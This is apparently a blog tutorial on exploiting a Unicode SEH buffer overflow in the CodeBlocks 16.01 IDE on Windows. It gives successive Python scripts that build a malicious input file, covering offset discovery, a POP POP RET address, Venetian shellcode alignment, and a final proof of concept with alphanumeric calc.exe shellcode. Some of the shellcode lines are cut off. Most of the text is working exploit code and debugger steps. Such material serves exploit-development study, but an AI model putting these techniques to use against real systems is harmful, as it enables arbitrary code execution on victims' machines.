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Windows Exploit Development CodeBlocks Study Case 16.01 #

Hello, everyone. I’ll talk about Windows exploit development Unicode

today. I’ve seen that more people are asking me how to exploit

codeblocks, so I spent a few days researching how to do it myself at

https://www.exploit-db.com/exploits/46120. This is not a simple

subject, so I will do my best to describe it as well as I can. Since

nobody had previously tested this version, I decided not to exploit

codeblocks 17 for today but rather codeblocks 16. Downloads are

available from

https://sourceforge.net/projects/codeblocks/files/Binaries/16.01/Win
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dows/codeblocks-16.01-setup.exe/download. Remember that I found it

harder to exploit codeblock 16 than codeblock 17.

Let’s try to capitalize on this, then. Python skeleton creation.

 Python 

#!/usr/bin/python

buffer= "A"*5000

f=open('exploit.txt','w')

f.write(buffer)

f.close()

print "[+] File create"

Now we add the content of exploit.txt via the File > Class > Class name

> Create  button.

Launch Immunity Debugger now to examine what took place inside. To

view the SEH address, use ALT + S .
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By pressing SHIFT + F9  once more, you can see that the EIP  has been

overwritten.

What, EIP  is only partially overwritten? Don’t worry; this occurs

because the program’s internal command 0x41  is executed. It’s time

to use mona.py  to determine the offset. Please visit another blog

section if you need help using mona.py.

 Python 

#!/usr/bin/python

buffer="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3A

f=open('exploit.txt','w');

f.write(buffer);

f.close();

print "[+] File create."
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Offset is in SEH address

We now have the correct offset. Let’s check to verify if this offset

is accurate. In Python, modify the skeleton once more.

 Python 

#!/usr/bin/python

buffer= "A"*1982 #Buffer

buffer+="\x42\x42" #nSEH

buffer+="\x43\x43" #SEH

buffer+="\x44"*(5000-len(buffer))

f=open('exploit.txt','w');

f.write(buffer);

f.close();

print "[+] File create."

Your nSEH will be visible if you enter content in the class name and

look in the immunity debugger in the SEH chain.
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Now execute one step using SHIFT + F9  to see if EIP is overwritten.

Finding the POP POP RET address for the exploit is now necessary,

and padding is added for alignment for nSEH.

I tested all the addresses and only one works 0x005500b3 , command

used to find the pop pop ret address !mona seh -cp unicode .

 Shell 

8/17/26, 1:57 AM Windows Exploit Development Part VII | NutCrackersSecurity

https://nutcrackerssecurity.github.io/posts/windows-exploit-dev-part-7/ 5/16

https://nutcrackerssecurity.github.io/assets/img/headers/windows-exploit-dev-part-7/codeblocks6.png
https://nutcrackerssecurity.github.io/assets/img/headers/windows-exploit-dev-part-7/codeblocks7.png
https://nutcrackerssecurity.github.io/assets/img/headers/windows-exploit-dev-part-7/codeblocks8.png


0x005500b3 : pop edi # pop ebp # ret 0x08 | startnull,unicode {PAGE_EXECUTE_READ}

Set a breakpoint on the POP POP RET address in the skelethon script

and modify it to observe how memory works. For breakpoint you can

use the next opcode 0xcc  which is INT3 instruction.

 Python 

#!/usr/bin/python

buffer= "A"*1982

buffer+="\x61\x62"

buffer+="\xb3\x55"

buffer+=("\xcc\xcc\xcc\xcc")

buffer+="\x44"*(5000-len(buffer))

f=open('exploit.txt','w');

f.write(buffer);

f.close();

print "[+] File create."

Put your junk from the exploit.txt file aside and place a breakpoint

on the POP POP RET address (to set a breakpoint, press F2 ).

Repeat this step until you see something similar.
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You can see how this address works by clicking on it, pressing F2 ,

putting your breakpoint inside codeblocks, and then pressing SHIFT +

F9 . You must witness one such jump.

If you notice that this half-exploit is complete, it implies that

the address is operational. It jumps after 0xcc , which is

sufficient for the time being. Let’s move a little upward to examine

the debugger.

Venetian shellcode is what we need right now because everything is

kept in ECX, therefore we need to extract it and put it in EAX.

Let’s add a few commands to the venetian shellcode and observe what

happens (don’t forget to press SHIFT + F9  each time you run your

payload).

 Python 
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#!/usr/bin/python

buffer= "A"*1982

buffer+="\x61\x62"

buffer+="\xb3\x55"

#Venetian Shellcode

buffer+="\x51" #POP ECX is the register where shellcode is clos

buffer+="\x42" #Venetian padding

buffer+="\x58" #POP EAX and put ECX into EAX

buffer+="\x42" #Venetian padding

buffer+=("\xcc\xcc\xcc\xcc")

buffer+="\x44"*(5000-len(buffer))

f=open('exploit.txt','w');

f.write(buffer);

f.close();

print "[+] File create."

If you can see, we have opcode 0x51  added to ADD BYTE PTR DS:[ECX],DL ,

which is fine because the following instruction is 0x42  and we

don’t just have opcode 0x51  there. I added this so as not to

interfere with 0x58 , which is inserted at the same time as 0x51 . As

you can see, there is currently no value in the EAX register, so we

must add and deduct valuation from ECX. Let’s add more coding

instructions.

 Python 
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#!/usr/bin/python

buffer= "A"*1982

buffer+="\x61\x62"

buffer+="\xb3\x55"

#Venetian shellcode

buffer+="\x51" #POP EBX is the register closest to our shellcod

buffer+="\x42" #Venetian padding

buffer+="\x58" #POP EAX and put ECX into EAX

buffer+="\x42" #Venetian padding

buffer+="\x05\x28\x11" #ADD EAX, 0x11002800

buffer+="\x42" #Venetian padding

buffer+="\x2d\x13\x11" #SUB EAX, 0x11001300

buffer+="\x42"

buffer+=("\xcc\xcc\xcc\xcc")

buffer+="\x44"*(5000-len(buffer))

f=open('exploit.txt','w');

f.write(buffer);

f.close();

print "[+] File create."

Where the heck is the add instruction? This Venetian shellcode error

can be fixed by adding additional “Venetian padding” before the ADD

EAX  instruction, as you can see.

 Python 
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#!/usr/bin/python

buffer= "A"*1982

buffer+="\x61\x62"

buffer+="\xb3\x55"

#Venetian shellcode

buffer+="\x51" #POP EBX is the register closest to our shellcod

buffer+="\x42" #Venetian padding

buffer+="\x58" #POP EAX and put ECX into EAX

buffer+="\x42" #Venetian padding

buffer+="\x42" #Venetian padding --- here i put one more

buffer+="\x05\x28\x11" #ADD EAX, 0x11002800

buffer+="\x42" #Venetian padding

buffer+="\x2d\x13\x11" #SUB EAX, 0x11001300

buffer+="\x42"

buffer+=("\xcc\xcc\xcc\xcc")

buffer+="\x44"*(5000-len(buffer))

f=open('exploit.txt','w');

f.write(buffer);

f.close();

print "[+] File create."

Now let’s go in Debugger to see what happened.

Now that the execution of ADD AH,CL  has been halted, we can run 100h

of code. Now, in order to jump to shellcode, we must apply the

operations PUSH EAX  opcode 0x50  and ret 0xc3 .

 Python 
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#!/usr/bin/python

buffer= "A"*1982

buffer+="\x61\x62"

buffer+="\xb3\x55"

#Venetian shellcode

buffer+="\x51" #POP EBX is the register closest to our shellcod

buffer+="\x42" #Venetian padding

buffer+="\x58" #POP EAX and put ECX into EAX

buffer+="\x42" #Venetian padding

buffer+="\x42" #Venetian padding --- here i put one more

buffer+="\x05\x28\x11" #ADD EAX, 0x11002800

buffer+="\x42" #Venetian padding

buffer+="\x2d\x13\x11" #SUB EAX, 0x11001300

buffer+="\x42" #Venetian paddin

buffer+="\x50" #PUSH EAX

buffer+="\x42" #Venetian padding

buffer+="\xc3" #RETN

buffer+=("\xcc\xcc\xcc\xcc")

buffer+="\x44"*(5000-len(buffer))

f=open('exploit.txt','w');

f.write(buffer);

f.close();

print "[+] File create."

Copy all the junk into CodeBlocks.

It’s good that we moved everything from ECX inside of EAX. We need

to determine the precise NOPs before the shellcode, so let’s check

where to start the DDDD.
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The address where D begins is 0x0022D3A8 . Let’s now examine EAX’s

value.

Address for EAX is 0x0022D41C .

We now need to perform a quick math operation: 0x0022D3A8 - 0x0022D41C

= 78h  (decimal -116 ) followed by 116/2 = 58 . I’m done now. Rewrite

the script once more.

 Python 
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#!/usr/bin/python

buffer= "A"*1982

buffer+="\x61\x62"

buffer+="\xb3\x55"

#Venetian shellcode

buffer+="\x51" #POP EBX is the register closest to our shellcod

buffer+="\x42" #Venetian padding

buffer+="\x58" #POP EAX and put ECX into EAX

buffer+="\x42" #Venetian padding

buffer+="\x42" #Venetian padding --- here i put one more

buffer+="\x05\x28\x11" #ADD EAX, 0x11002800

buffer+="\x42" #Venetian padding

buffer+="\x2d\x13\x11" #SUB EAX, 0x11001300

buffer+="\x42" #Venetian padding

buffer+="\x50" #PUSH EAX

buffer+="\x42" #Venetian padding

buffer+="\xc3" #RETN

buffer+="\x90"*58

buffer+=("\xcc\xcc\xcc\xcc")

buffer+="\x44"*(5000-len(buffer))

f=open('exploit.txt','w');

f.write(buffer);

f.close();

print "[+] File create."

First, the address stopped at 0xcc ; now let’s write shellcode at

that location.
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Final Poc.

 Python 

#!/usr/bin/python

buffer= "A"*1982

buffer+="\x61\x62"

buffer+="\xb3\x55"

#-Venetian shellcode

buffer+="\x51" #POP EBX is the register closest to our shellcod

buffer+="\x42" #Venetian padding

buffer+="\x58" #POP EAX and put ECX into EAX

buffer+="\x42" #Venetian padding

buffer+="\x42" #Venetian padding --- here i put one more

buffer+="\x05\x28\x11" #ADD EAX, 0x11002800

buffer+="\x42" #Venetian padding

buffer+="\x2d\x13\x11" #SUB EAX, 0x11001300

buffer+="\x42" #Venetian padding

buffer+="\x50" #PUSH EAX

buffer+="\x42" #Venetian padding

buffer+="\xc3" #RETN

buffer+="\x90"*58

#Calc.exe shellcode

buffer+="PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIA

buffer+="\x44"*(5000-len(buffer))

f=open('exploit.txt','w');

f.write(buffer);

f.close();

print "[+] File create."
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